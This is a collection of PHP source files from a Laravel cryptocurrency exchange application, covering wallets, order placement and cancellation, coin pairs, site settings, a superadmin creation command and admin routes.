Wallet::where('user_id', $admin->id) ->where('symbol', $this->coin->symbol) ->where('is_system_wallet', ACTIVE) ->first(); if (empty($systemWallet)) { Wallet::create([ 'user_id' => $admin->id, 'symbol' => $this->coin->symbol, 'is_system_wallet' => ACTIVE, ]); $attribute = []; foreach (User::cursor() as $user) { $attribute[] = [ 'id' => Str::uuid()->toString(), 'user_id' => $user->id, 'symbol' => $this->coin->symbol, 'is_system_wallet' => INACTIVE, 'updated_at' => Carbon::now(), 'created_at' => Carbon::now(), ]; } foreach (array_chunk($attribute, 1000) as $item) { Wallet::insert($item); } } } public function failed(Exception $exception) { Logger::error($exception, "[FAILED][GenerateUsersWalletsJob]"); } } <file_sep><?php namespace App\Http\Controllers\Core; use App\Http\Controllers\Controller; use App\Http\Requests\Core\NavigationRequest; use App\Services\Core\NavigationService; use Illuminate\Http\JsonResponse; use Illuminate\View\View; class NavigationController extends Controller { public function index(string $slug = 'top-nav'): View { $data = app(NavigationService::class)->backendMenuBuilder($slug); $data['title'] = __('Navigation'); $data['slug'] = $slug; return view('core.navigation.index', $data); } public function save(NavigationRequest $request, string $slug): JsonResponse { $response = app(NavigationService::class)->backendMenuSave($request, $slug); $status = $response[RESPONSE_STATUS_KEY] ? RESPONSE_TYPE_SUCCESS : RESPONSE_TYPE_ERROR; return response()->json([$status => $response[RESPONSE_MESSAGE_KEY]]); } } <file_sep><?php namespace App\Http\Controllers\Orders; use App\Http\Controllers\Controller; use App\Jobs\Order\CancelOrderJob; use App\Models\Order\Order; use Exception; use Illuminate\Support\Facades\Auth; class CancelOrderController extends Controller { public function destroy(Order $order) { try { if (Auth::id() != $order->user_id) { throw new Exception(__('You are not authorize to do this action.')); } if ( !in_array($order->status, [STATUS_PENDING, STATUS_INACTIVE]) ) { throw new Exception(__('This order cannot be deleted.')); } CancelOrderJob::dispatch($order); } catch (Exception $exception) { if (request()->ajax()) { return response() ->json([RESPONSE_MESSAGE_KEY => $exception->getMessage()], 400); } else { return redirect() ->back() ->with(RESPONSE_TYPE_ERROR, $exception->getMessage()); } } $successMessage = __('The order cancellation request has been placed successfully.'); if (request()->ajax()) { return response() ->json([RESPONSE_MESSAGE_KEY => $successMessage], 200); } else { return redirect() ->back() ->with(RESPONSE_TYPE_SUCCESS, $successMessage); } } } <file_sep><?php return [ 'settings' => [ 'preference' => [ 'icon' => 'fa-home', 'settings' => [ 'general' => [ 'company_name' => [ 'field_type' => 'text', 'validation' => 'required', 'field_label' => 'Company Name', ], 'lang' => [ 'field_type' => 'select', 'field_value' => 'language_short_code_list', 'default' => config('app.locale'), 'field_label' => 'Default Site Language', ], 'lang_switcher' => [ 'field_type' => 'switch', 'field_label' => 'Language Switcher', ], 'lang_switcher_item' => [ 'field_type' => 'radio', 'field_value' => 'language_switcher_items', 'default' => 'icon', 'field_label' => 'Display Language Switch Item', ], 'maintenance_mode' => [ 'field_type' => 'switch', 'field_label' => 'Maintenance mode', ], ], 'accounts' => [ 'registration_active_status' => [ 'field_type' => 'switch', 'field_label' => 'Allow Registration', ], 'default_role_to_register' => [ 'field_type' => 'select', 'field_value' => 'get_user_roles', 'field_label' => 'Default registration role', ], 'require_email_verification' => [ 'field_type' => 'switch', 'field_label' => 'Require Email Verification', ], 'display_google_captcha' => [ 'field_type' => 'switch', 'field_label' => 'Google Captcha Protection', ], 'admin_receive_email' => [ 'field_type' => 'text', 'validation' => 'required|email', 'field_label' => 'Email to receive customer feedback', ], ], 'referral' => [ 'referral' => [ 'field_type' => 'switch', 'type_function' => true, 'data_array' => 'active_status', 'field_label' => 'Referral', ], 'referral_percentage' => [ 'field_type' => 'text', 'data_type' => 'numeric', 'max' => '100', 'min' => '0', 'field_label' => 'Referral Percentage', ], ], ], ], 'layout' => [ 'icon' => 'fa-align-center', 'settings' => [ 'logo_and_icon' => [ 'company_logo' => [ 'field_type' => 'image', 'height' => 80, 'validation' => 'image|size:512', 'field_label' => 'Logo Dark', ], 'company_logo_light' => [ 'field_type' => 'image', 'height' => 80, 'validation' => 'image|size:512', 'field_label' => 'Logo Light', ], // 'logo_inversed_sidenav' => [ // 'field_type' => 'switch', // 'field_value' => 'inversed_logo', // 'default' => '1', // 'field_label' => 'Active inversed Logo Color in side nav', // ], // 'logo_inversed_secondary' => [ // 'field_type' => 'switch', // 'field_value' => 'inversed_logo', // 'default' => '1', // 'field_label' => 'Active inversed Logo Color in no header layout', // ], 'favicon' => [ 'field_type' => 'image', 'height' => 64, 'width' => 64, 'validation' => 'image|size:100', 'field_label' => 'Favicon', ], ], 'navigation' => [ 'navigation_type' => [ 'field_type' => 'radio', 'field_value' => 'navigation_type', 'default' => 0, 'field_label' => 'Visible Navigation type', ], // 'top_nav' => [ // 'field_type' => 'select', // 'field_value' => 'top_nav_type', // 'default' => '0', // 'field_label' => 'Top nav Layout', // ], // 'logo_inversed_primary' => [ // 'field_type' => 'switch', // 'field_value' => 'inversed_logo', // 'default' => '0', // 'field_label' => 'Active inversed Logo Color in top nav', // ], 'side_nav' => [ 'field_type' => 'select', 'field_value' => 'side_nav_type', 'default' => '0', 'field_label' => 'Side nav Layout', ], 'side_nav_fixed' => [ 'field_type' => 'switch', 'field_value' => 'inversed_logo', 'default' => '0', 'field_label' => 'Active fixed side nav', ], 'no_header_layout' => [ 'field_type' => 'select', 'field_value' => 'no_header_layout', 'default' => '1', 'field_label' => 'No header layout type', ], ], ], ], 'footer_settings' => [ 'icon' => 'fa-long-arrow-down', 'settings' => [ 'contact_info' => [ 'footer_email' => [ 'field_type' => 'text', 'validation' => 'email', 'field_label' => 'Email', ], 'footer_phone_number' => [ 'field_type' => 'text', 'field_label' => 'Phone Number', ], 'footer_address' => [ 'field_type' => 'textarea', 'field_label' => 'Address', ], 'footer_about' => [ 'field_type' => 'textarea', 'field_label' => 'About', ], ], 'footer_first_menu' => [ 'footer_menu_title_1' => [ 'field_type' => 'text', 'validation' => 'required', 'field_label' => 'First Footer Menu Title', ], 'footer_menu_1' => [ 'field_type' => 'select', 'field_value' => 'footer_nav_list', 'field_label' => 'First Footer Menu', ], ], 'footer_second_menu' => [ 'footer_menu_title_2' => [ 'field_type' => 'text', 'validation' => 'required', 'field_label' => 'Second Footer Menu Title', ], 'footer_menu_2' => [ 'field_type' => 'select', 'field_value' => 'footer_nav_list', 'field_label' => 'Second Footer Menu', ], ], 'footer_third_menu' => [ 'footer_menu_title_3' => [ 'field_type' => 'text', 'validation' => 'required', 'field_label' => 'Third Footer Menu Title', ], 'footer_menu_3' => [ 'field_type' => 'select', 'field_value' => 'footer_nav_list', 'field_label' => 'Third Footer Menu', ], ], 'footer_copyright' => [ 'footer_copyright_text' => [ 'field_type' => 'textarea', 'field_label' => 'Copyright', ], ], ], ], 'dashboard_settings' => [ 'icon' => 'fa-tachometer', 'settings' => [ 'coins' => [ 'dashboard_coin_1' => [ 'field_type' => 'select', 'field_value' => 'get_coin_list', 'field_label' => 'Select Dashboard First Coin', ], 'dashboard_coin_2' => [ 'field_type' => 'select', 'field_value' => 'get_coin_list', 'field_label' => 'Select Dashboard Second Coin', ], 'dashboard_coin_3' => [ 'field_type' => 'select', 'field_value' => 'get_coin_list', 'field_label' => 'Select Dashboard Third Coin', ], 'dashboard_coin_4' => [ 'field_type' => 'select', 'field_value' => 'get_coin_list', 'field_label' => 'Select Dashboard Fourth Coin', ], ], 'coin_pairs' => [ 'dashboard_coin_pair' => [ 'field_type' => 'select', 'field_value' => 'get_coin_pair_list', 'field_label' => 'Select One CoinPair', ] ] ], ], 'exchange_settings' => [ 'icon' => 'fa-exchange', 'settings' => [ 'exchange' => [ 'trading_price_tolerance' => [ 'field_type' => 'text', 'data_type' => 'numeric', 'max' => '100', 'min' => '0', 'field_label' => 'Trading price tolerance in percent', 'field_value' => 'trading_price_tolerance', ], 'enable_kyc_verification_in_exchange' => [ 'field_type' => 'switch', 'type_function' => true, 'field_value' => 'active_status', 'field_label' => 'Enable KYC Verification', ], 'exchange_maker_fee' => [ 'field_type' => 'text', 'data_type' => 'numeric', 'max' => '100', 'min' => '0', 'field_label' => 'Exchange Maker Fee', 'field_value' => 'exchange_maker_fee', ], 'exchange_taker_fee' => [ 'field_type' => 'text', 'data_type' => 'numeric', 'max' => '100', 'min' => '0', 'field_label' => 'Exchange Taker Fee', ], ], ], ], 'withdrawal_settings' => [ 'icon' => 'fa-send', 'settings' => [ 'settings' => [ 'is_email_confirmation_required' => [ 'field_type' => 'switch', 'type_function' => true, 'field_value' => 'active_status', 'field_label' => 'Required Email Confirmation', ], 'withdrawal_confirmation_link_expire_in' => [ 'field_type' => 'text', 'field_label' => 'Email Confirmation Expire Time (Minutes)', 'validation' => 'numeric|min:0', ], 'is_admin_approval_required' => [ 'field_type' => 'switch', 'type_function' => true, 'field_value' => 'active_status', 'field_label' => 'Required Admin Approval', ], ], ], ], 'api_settings' => [ 'icon' => 'fa-globe', 'settings' => [ 'coinpayments' => [ 'coinpayments_private_key' => [ 'field_type' => 'text', 'field_label' => 'Private Key', 'encryption' => true ], 'coinpayments_public_key' => [ 'field_type' => 'text', 'field_label' => 'Public Key', 'field_value' => 'public_key', 'encryption' => true ], 'coinpayments_merchant_id' => [ 'field_type' => 'text', 'field_label' => 'Merchant ID', 'field_value' => 'merchant_id', 'encryption' => true ], 'coinpayments_ipn_secret' => [ 'field_type' => 'text', 'field_label' => 'IPN Secret', 'field_value' => 'ipn_secret', 'encryption' => true ], 'coinpayments_ch' => [ 'field_type' => 'text', 'field_label' => 'CH', 'field_value' => 'ch', ], ], ], ], ], /* * ---------------------------------------- * ---------------------------------------- * ALL WRAPPER HERE * ---------------------------------------- * ---------------------------------------- */ 'common_wrapper' => [ 'section_start_tag' => '<div class="form-group row">', 'section_end_tag' => '</div>', 'slug_start_tag' => '<label for="" class="col-md-4 control-label">', 'slug_end_tag' => '</label>', 'value_start_tag' => '<div class="col-md-8">', 'value_end_tag' => '</div>', ], 'common_text_input_wrapper' => [ 'input_start_tag' => '', 'input_end_tag' => '', 'input_class' => 'form-control', ], 'common_textarea_input_wrapper' => [ 'input_start_tag' => '', 'input_end_tag' => '', 'input_class' => 'form-control', ], 'common_select_input_wrapper' => [ 'input_start_tag' => '', 'input_end_tag' => '', 'input_class' => 'form-control', ], 'common_checkbox_input_wrapper' => [ 'input_start_tag' => '<div class="setting-checkbox">', 'input_end_tag' => '</div>', // 'input_class'=>'setting-checkbox', ], 'common_radio_input_wrapper' => [ 'input_start_tag' => '<div class="setting-checkbox">', 'input_end_tag' => '</div>', 'input_class' => 'setting-radio', ], 'common_toggle_input_wrapper' => [ 'input_start_tag' => '<div class="text-right">', 'input_end_tag' => '</div>', // 'input_class'=>'setting-checkbox', ], ]; <file_sep><?php namespace App\Services\Wallet; use BaconQrCode\Renderer\Image\SvgImageBackEnd; use BaconQrCode\Renderer\ImageRenderer; use BaconQrCode\Renderer\RendererStyle\RendererStyle; use BaconQrCode\Writer; class GenerateWalletAddressImage { public function generateSvg(string $address): string { $renderer = new ImageRenderer( new RendererStyle(200), new SvgImageBackEnd() ); $writer = new Writer($renderer); return $writer->writeString($address); } } <file_sep><?php namespace App\Http\Controllers\Post; use App\Http\Controllers\Controller; use App\Models\Post\PostCategory; use Illuminate\Http\RedirectResponse; class ChangePostCategoryStatusController extends Controller { public function change(PostCategory $postCategory): RedirectResponse { if ($postCategory->toggleStatus()) { return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('Successfully post category status changed.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to change status. Please try again.')); } } <file_sep><?php /** @var Factory $factory */ use App\Models\Order\Order; use Faker\Generator as Faker; use Illuminate\Database\Eloquent\Factory; $factory->define(Order::class, function (Faker $faker) { return [ 'user_id' => $faker->uuid, 'trade_coin' => 'BTC', 'base_coin' => 'USD', 'category' => ORDER_CATEGORY_LIMIT, 'type' => $faker->randomElement([ORDER_TYPE_BUY, ORDER_TYPE_SELL]), 'price' => $faker->randomFloat(6000, 8000), 'amount' => $faker->randomFloat(0.001, 2), 'status' => STATUS_PENDING ]; }); <file_sep><?php namespace App\Http\Middleware; use Closure; class Language { public function handle($request, Closure $next) { $locale = $request->segment(1); if (check_language($locale) == null) { $locale = ''; } if (empty($locale) && auth()->check()) { $preference = auth()->user()->preference; if (!empty($preference) && check_language($preference->default_language)) { $locale = $preference->default_language; } } set_language($locale, settings('lang')); has_permission($request->route()->getName(), null, false); return $next($request); } } <file_sep><?php namespace App\Http\Controllers\CoinPair; use App\Http\Controllers\Controller; use App\Http\Requests\Coin\CoinPairRequest; use App\Models\Coin\Coin; use App\Models\Coin\CoinPair; use App\Services\Coins\CoinPairService; use App\Services\Coins\CoinService; use App\Services\Core\DataTableService; use Exception; use Illuminate\Http\RedirectResponse; use Illuminate\Support\Facades\DB; use Illuminate\View\View; class AdminCoinPairController extends Controller { protected $service; public function index(): View { $data['title'] = __('Coin Pair'); $searchFields = [ ['name', __('Name')], ['coin', __('Coin')], ['base_coin', __('Base Coin')], ]; $orderFields = [ ['name', __('Name')], ['coin', __('Coin')], ['base_coin', __('Base Coin')], ['created_at', __('Date')], ]; $queryBuilder = CoinPair::query(); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->create($queryBuilder); return view('coin_pairs.admin.index', $data); } public function create(): View { $data['coins'] = Coin::active()->pluck('symbol', 'symbol')->toArray(); $data['title'] = __('Create Coin Pair'); return view('coin_pairs.admin.create', $data); } public function store(CoinPairRequest $request): RedirectResponse { try { DB::beginTransaction(); $attributes = $request->only('trade_coin', 'base_coin', 'is_active', 'last_price', 'is_default'); if ($request->is_default == ACTIVE) { $defaultCoinPair = CoinPair::where(['is_default' => ACTIVE])->first(); if (!empty($defaultCoinPair)) { $defaultCoinPair->update(['is_default' => INACTIVE]); } } $coinPair = CoinPair::create($attributes); DB::commit(); cache()->forget('baseCoins'); return redirect() ->route('coin-pairs.edit', $coinPair->name) ->with(RESPONSE_TYPE_SUCCESS, __('The coin pair has been created successfully.')); } catch (Exception $exception) { DB::rollBack(); if ($exception->getCode() == 23000) { return redirect() ->back() ->withInput() ->with(RESPONSE_TYPE_ERROR, __('The coin pair already exists.')); } return redirect() ->back() ->withInput() ->with(RESPONSE_TYPE_ERROR, __('Failed to create coin pair.')); } } public function edit(CoinPair $coinPair): View { $data['coins'] = Coin::active()->pluck('symbol', 'symbol')->toArray(); $data['title'] = __('Edit Coin Pair'); $data['coinPair'] = $coinPair; return view('coin_pairs.admin.edit', $data); } public function update(CoinPairRequest $request, CoinPair $coinPair): RedirectResponse { $attributes = $request->only('coin', 'base_coin', 'last_price', 'is_active'); if ($coinPair->is_default && $request->get('is_active') == INACTIVE) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Default coin pair cannot be inactivated.')); } try { if ($coinPair->update($attributes)) { cache()->forget('baseCoins'); return redirect()->route('coin-pairs.edit', $coinPair->name)->with(RESPONSE_TYPE_SUCCESS, __('The coin pair has been updated successfully.')); } } catch (Exception $exception) { if ($exception->getCode() == 23000) { return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('The coin pair already exists.')); } } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to update.')); } public function destroy(CoinPair $coinPair): RedirectResponse { if ($coinPair->is_default == ACTIVE) { return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to delete.')); } try { if ($coinPair->delete()) { cache()->forget('baseCoins'); return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('The coin pair has been deleted successfully.')); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to delete.')); } catch (Exception $exception) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to delete as the coin pair is being used.')); } } } <file_sep><?php namespace App\Console\Commands; use App\Models\Core\User; use App\Services\Core\UserService; use Exception; use Illuminate\Console\Command; class SuperAdminUserCreation extends Command { protected $signature = 'make:superadmin'; protected $description = 'This command will create a superadmin user if the user does not exists'; public function handle() { $user = User::where('is_super_admin', ACTIVE)->first(); if (!empty($user)) { $this->error("The superadmin user already exists. System does not allow to create multiple superadmin user."); return; } $params['first_name'] = null; while (empty($params['first_name'])) { $params['first_name'] = $this->ask('First name of the superadmin?'); } $params['last_name'] = null; while (empty($params['last_name'])) { $params['last_name'] = $this->ask('Last name of the superadmin?'); } $params['username'] = null; while (empty($params['username'])) { $params['username'] = $this->ask('Username of the superadmin?'); } $params['email'] = null; while (empty($params['email'])) { $params['email'] = $this->ask('Email of the superadmin?'); } do { $params['password'] = $this->secret('Password of the superadmin?'); $confirmPassword = $this->secret('Retype password of the superadmin?'); } while (empty($params['password']) || empty($confirmPassword) || $params['password'] !== $confirmPassword); $params['is_super_admin'] = ACTIVE; $params['is_email_verified'] = ACTIVE; $params['is_financial_active'] = ACTIVE; $params['is_accessible_under_maintenance'] = ACTIVE; $params['status'] = STATUS_ACTIVE; $params['assigned_role'] = USER_ROLE_ADMIN; $user = User::where(function ($query) use ($params) { $query->where('username', $params['username']) ->orWhere('email', $params['email']); })->first(); if (!empty($user)) { $this->error("Username/Email already exists."); return; } try { app(UserService::class)->generate($params); } catch (Exception $exception) { $this->error($exception->getMessage()); return; } $this->info("Superadmin has been created successfully."); return; } } <file_sep><?php namespace App\Services\Orders; use App\Broadcasts\Exchange\OrderBroadcast; use App\Jobs\Order\ProcessOrderJob; use App\Models\Coin\CoinPair; use App\Models\Core\User; use App\Models\Order\Order; use App\Models\Wallet\Wallet; use App\Services\Logger\Logger; use Exception; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; use function auth; class CreateOrderService { public Request $request; public CoinPair $tradePair; public User $user; public Order $order; public Wallet $wallet; public float $decreaseBalance; public function __construct() { $this->user = auth()->user(); $this->request = request(); } public function create() { $this->setTradePair($this->request->trade_pair); $this->setWallet(); $settingTolerance = (string)settings('trading_price_tolerance'); // checking tolerance if the order category is limit. if ( $this->request->category !== ORDER_CATEGORY_MARKET && bccomp($settingTolerance, '0', 2) > 0 ) { $lastPrice = (string)($this->request->category === ORDER_CATEGORY_LIMIT ? $this->tradePair->last_price : $this->request->stop); $tolerancePrice = bcdiv(bcmul($lastPrice, $settingTolerance), "100"); $highTolerance = bcadd($lastPrice, $tolerancePrice); $lowTolerance = bcsub($lastPrice, $tolerancePrice); if (bccomp($this->request->price, $highTolerance) > 0 || bccomp($this->request->price, $lowTolerance) < 0) { return [ RESPONSE_STATUS_KEY => false, RESPONSE_MESSAGE_KEY => __("The price must be between :lowTolerance and :highTolerance", ['lowTolerance' => $lowTolerance, 'highTolerance' => $highTolerance]) ]; } } if ($this->wallet->is_system_wallet) { return [ RESPONSE_STATUS_KEY => false, RESPONSE_MESSAGE_KEY => __("Failed to place order.") ]; } if (settings('enable_kyc_verification_in_exchange') && $this->user->is_id_verified != STATUS_VERIFIED) { return [ RESPONSE_STATUS_KEY => false, RESPONSE_MESSAGE_KEY => __("Your account must be KYC verified to place an order.") ]; } //If the order is not market and order type is not sell then if (!($this->request->get('category') === ORDER_CATEGORY_MARKET && $this->request->get('order_type') === ORDER_TYPE_SELL)) { $total = $this->request->input('total'); $incomingCoinType = $this->request->order_type === ORDER_TYPE_BUY ? $this->tradePair->coin->type : $this->tradePair->baseCoin->type; $minimumTotal = get_minimum_total($incomingCoinType); if (bccomp($minimumTotal, $total) == 1) { return [ RESPONSE_STATUS_KEY => false, RESPONSE_MESSAGE_KEY => __("Total must be :minimumOrderTotal.", ['minimumOrderTotal' => $minimumTotal]) ]; } } DB::beginTransaction(); try { if (!$this->_decreaseBalance()) { throw new Exception('Failed to update wallet.'); } if (!$this->save()) { throw new Exception('Failed to create order'); } } catch (Exception $exception) { DB::rollBack(); Logger::error($exception, '[FAILED][CreateOrderService][create]'); $message = $exception->getCode() === "22003" ? __('You don\'t have enough balance to place order.') : __('Failed to place order.'); return [ RESPONSE_STATUS_KEY => false, RESPONSE_MESSAGE_KEY => $message, ]; } DB::commit(); ProcessOrderJob::dispatch($this->order); broadcast(new OrderBroadcast($this->order)); return [ RESPONSE_STATUS_KEY => true, RESPONSE_MESSAGE_KEY => __("Your order has been placed successfully."), RESPONSE_DATA => [ 'order_id' => $this->order->id, 'order_type' => $this->order->type, 'price' => $this->order->price, 'amount' => $this->order->amount, 'total' => $this->order->total, 'open_amount' => $this->order->amount, 'exchanged' => $this->order->exchanged, 'stop_limit' => $this->order->stop_limit, 'date' => $this->order->created_at->toDateTimeString(), 'category' => $this->order->category ] ]; } private function setTradePair(string $coinPair): void { $this->tradePair = CoinPair::where('name', $coinPair)->with('coin', 'baseCoin')->first(); } private function setWallet(): void { $this->wallet = Wallet::where('user_id', $this->user->id) ->where('is_system_wallet', INACTIVE) ->when($this->request->order_type === ORDER_TYPE_BUY, function ($query) { $query->where('symbol', $this->tradePair->base_coin); }) ->when($this->request->order_type === ORDER_TYPE_SELL, function ($query) { $query->where('symbol', $this->tradePair->trade_coin); }) ->first(); } private function _decreaseBalance() { if ($this->request->order_type === ORDER_TYPE_BUY) { $this->decreaseBalance = $this->request->input('total'); } else { $this->decreaseBalance = $this->request->amount; } $attributes = [ 'primary_balance' => DB::raw('primary_balance - ' . $this->decreaseBalance), ]; return $this->wallet->update($attributes); } private function save() { $orderParams = [ 'user_id' => $this->user->id, 'trade_coin' => $this->tradePair->trade_coin, 'base_coin' => $this->tradePair->base_coin, 'trade_pair' => $this->request->trade_pair, 'category' => $this->request->category, 'type' => $this->request->order_type, 'price' => $this->request->get('price') ?: null, 'amount' => $this->request->get('amount') ?: null, 'total' => $this->request->input('total') ?: null, 'stop_limit' => $this->request->get('stop') ?: null, 'maker_fee_in_percent' => settings('exchange_maker_fee'), 'taker_fee_in_percent' => settings('exchange_taker_fee'), 'status' => $this->request->has('stop') ? STATUS_INACTIVE : STATUS_PENDING, ]; return $this->order = Order::create($orderParams); } } <file_sep><?php namespace App\Http\Controllers\Coin; use App\Http\Controllers\Controller; use App\Http\Requests\Coin\CoinDepositRequest; use App\Models\Coin\Coin; use Illuminate\Contracts\View\View; use Illuminate\Http\RedirectResponse; class AdminCoinDepositOptionController extends Controller { protected $service; public function edit(Coin $coin): View { $data['title'] = __('Edit Deposit Options'); $data['coin'] = $coin; return view('coins.admin.deposit_form', $data); } public function update(CoinDepositRequest $request, Coin $coin): RedirectResponse { $attributes = [ 'deposit_status' => $request->get('deposit_status'), 'deposit_fee_type' => $request->get('deposit_fee_type'), 'deposit_fee' => $request->get('deposit_fee') ?: 0 ]; if( $request->has('minimum_deposit_amount') ) { $attributes['minimum_deposit_amount'] = $request->get('minimum_deposit_amount'); } if ($coin->update($attributes)) { return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('The coin has been updated successfully.')); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to update.')); } } <file_sep><?php namespace App\Models\Referral; use App\Models\Coin\Coin; use App\Models\Core\User; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Support\Str; class ReferralEarning extends Model { public $incrementing = false; protected $keyType = 'string'; protected $fillable = [ 'referrer_user_id', 'referral_user_id', 'symbol', 'amount', ]; protected static function boot(): void { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = Str::uuid()->toString(); }); } public function referrerUser(): BelongsTo { return $this->belongsTo(User::class, 'referrer_user_id'); } public function referralUser(): BelongsTo { return $this->belongsTo(User::class, 'referral_user_id'); } public function coin(): BelongsTo { return $this->belongsTo(Coin::class, 'symbol', 'symbol'); } } <file_sep><?php namespace App\Models\Core; use App\Jobs\Wallet\GenerateUserWalletsJob; use App\Override\Eloquent\LaraframeModel as Model; use Carbon\Carbon; use Illuminate\Support\Str; class Notification extends Model { public $incrementing = false; protected $keyType = 'string'; protected $fillable = ['user_id', 'message', 'read_at']; protected static function boot(): void { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = Str::uuid(); }); } public function scopeRead($query) { return $query->whereNotNull('read_at'); } public function scopeUnread($query) { return $query->whereNull('read_at'); } public function markAsRead() { return $this->update(['read_at' => Carbon::now()]); } public function markAsUnread() { return $this->update(['read_at' => null]); } } <file_sep><?php use App\Http\Controllers\Core\VerificationController; use Illuminate\Support\Facades\Route; Route::get('verification', [VerificationController::class, 'verify'])->name('account.verification'); Route::get('verification/email', [VerificationController::class, 'resendForm'])->name('verification.form'); Route::post('verification/email', [VerificationController::class, 'send'])->name('verification.send'); <file_sep><?php namespace App\Services\Deposit; use App\Models\Wallet\Wallet; class GenerateWalletAddress { public function generate($wallet) { $coinApiService = null; if (in_array($wallet->coin->api_service, array_keys(api_classes()))) { $className = 'App\\Services\\Api\\' . api_classes($wallet->coin->api_service); $coinApiService = new $className($wallet->symbol); } if (!is_null($coinApiService)) { $coinApiServiceResponse = $coinApiService->generateAddress(); if (!empty($coinApiServiceResponse) && $coinApiServiceResponse['error'] == 'ok') { $address = $coinApiServiceResponse['result']['address']; $attributes = ['address' => $address]; if (isset($coinApiServiceResponse['result']['passphrase']) && $coinApiServiceResponse['result']['passphrase']) { $attributes['passphrase'] = $coinApiServiceResponse['result']['passphrase']; } if (Wallet::where('id', $wallet->id)->update($attributes)) { return $address; } } } return __('Failed to create wallet address. Try Again.'); } } <file_sep><?php use App\Http\Controllers\BankAccount\AdminBankManagementController; use App\Http\Controllers\BankAccount\ChangeAdminBankAccountStatusController; use App\Http\Controllers\Core\{AdminUserSearchController, ApplicationSettingController, LanguageController, NavigationController, NoticesController, RoleController, UsersController }; use App\Http\Controllers\Dashboard\AdminDashboardController; use App\Http\Controllers\Deposit\AdminBankDepositAdjustController; use App\Http\Controllers\Deposit\AdminBankDepositReviewController; use App\Http\Controllers\Deposit\AdminDepositHistoryController; use App\Http\Controllers\Deposit\AdminUserDepositController; use App\Http\Controllers\Deposit\SystemDepositController; use App\Http\Controllers\KycManagement\AdminKycController; use App\Http\Controllers\KycManagement\ApproveKycVerificationController; use App\Http\Controllers\KycManagement\DeclineKycVerificationController; use App\Http\Controllers\KycManagement\ExpiredKycVerificationController; use App\Http\Controllers\Orders\AdminUserOpenOrderController; use App\Http\Controllers\Page\ChangePageStatusController; use App\Http\Controllers\Page\PageController; use App\Http\Controllers\Post\ChangePostCategoryStatusController; use App\Http\Controllers\Post\ChangePostStatusController; use App\Http\Controllers\Post\PostCategoryController; use App\Http\Controllers\Post\PostCommentController; use App\Http\Controllers\Post\PostController; use App\Http\Controllers\Post\ReplyCommentController; use App\Http\Controllers\Ticket\AdminTicketController; use App\Http\Controllers\TradeHistory\AdminUserTradeHistoryController; use App\Http\Controllers\UserActivity\AdminActivityController; use App\Http\Controllers\Wallet\AdjustAmountController; use App\Http\Controllers\Wallet\AdminUserWalletController; use App\Http\Controllers\Wallet\SystemWalletsController; use App\Http\Controllers\Withdrawal\AdminUserWithdrawalController; use App\Http\Controllers\Withdrawal\AdminWithdrawalHistoryController; use App\Http\Controllers\Withdrawal\AdminWithdrawalReviewController; use App\Http\Controllers\Withdrawal\SystemWithdrawalController; use Illuminate\Support\Facades\Route; use Rap2hpoutre\LaravelLogViewer\LogViewerController; Route::group(['prefix' => 'admin'], function () { //Dashboard Route::get('/dashboard', [AdminDashboardController::class, 'index']) ->name('admin.dashboard'); Route::get('/dashboard/get-featured-coins', [AdminDashboardController::class, 'getFeaturedCoins']) ->name('admin.dashboard.get-featured-coins'); Route::get('/dashboard/get-recent-register-users', [AdminDashboardController::class, 'getRecentRegisterUsers']) ->name('admin.dashboard.get-recent-register-users'); Route::get('/dashboard/get-coin-pair-trade', [AdminDashboardController::class, 'getCoinPairTrade']) ->name('admin.dashboard.get-coin-pair-trade'); Route::get('/dashboard/get-recent-withdrawals', [AdminDashboardController::class, 'getRecentWithdrawals']) ->name('admin.dashboard.get-recent-withdrawals'); Route::get('/dashboard/get-recent-deposits', [AdminDashboardController::class, 'getRecentDeposits']) ->name('admin.dashboard.get-recent-deposits'); Route::get('/dashboard/get-recent-trades', [AdminDashboardController::class, 'getRecentTrades']) ->name('admin.dashboard.get-recent-trades'); Route::get('/dashboard/user-reports', [AdminDashboardController::class, 'getUserReports']) ->name('admin.dashboard.get-user-reports'); Route::get('/dashboard/ticket-reports', [AdminDashboardController::class, 'getTicketReports']) ->name('admin.dashboard.get-ticket-reports'); Route::get('/dashboard/get-other-reports', [AdminDashboardController::class, 'getOtherReports']) ->name('admin.dashboard.get-other-reports'); //KYC Management Route::put('kyc-management/{kycVerification}/approve', [ApproveKycVerificationController::class, 'index']) ->name('kyc-management.approve'); Route::put('kyc-management/{kycVerification}/expired', [ExpiredKycVerificationController::class, 'index']) ->name('kyc-management.expired'); Route::put('kyc-management/{kycVerification}/decline', [DeclineKycVerificationController::class, 'index']) ->name('kyc-management.decline'); Route::resource('kyc-management', AdminKycController::class) ->only(['index', 'show']) ->names('kyc-management'); //User Group Role Route::resource('roles', RoleController::class)->except(['show']); Route::put('roles/{slug}/change-status', [RoleController::class, 'changeStatus']) ->name('roles.status'); //Application Setting Route::get('application-settings', [ApplicationSettingController::class, 'index']) ->name('application-settings.index'); Route::get('application-settings/{type}/{sub_type}', [ApplicationSettingController::class, 'edit']) ->name('application-settings.edit'); Route::put('application-settings/{type}/update/{sub_type?}', [ApplicationSettingController::class, 'update']) ->name('application-settings.update'); //Admin Notice Route::resource('notices', NoticesController::class) ->except(['show']); Route::get('menu-manager/{menu_slug?}', [NavigationController::class, 'index']) ->name('menu-manager.index'); Route::post('menu-manager/{menu_slug?}/save', [NavigationController::class, 'save']) ->name('menu-manager.save'); //Language Route::get('languages/settings', [LanguageController::class, 'settings']) ->name('languages.settings'); Route::get('languages/translations', [LanguageController::class, 'getTranslation']) ->name('languages.translations'); 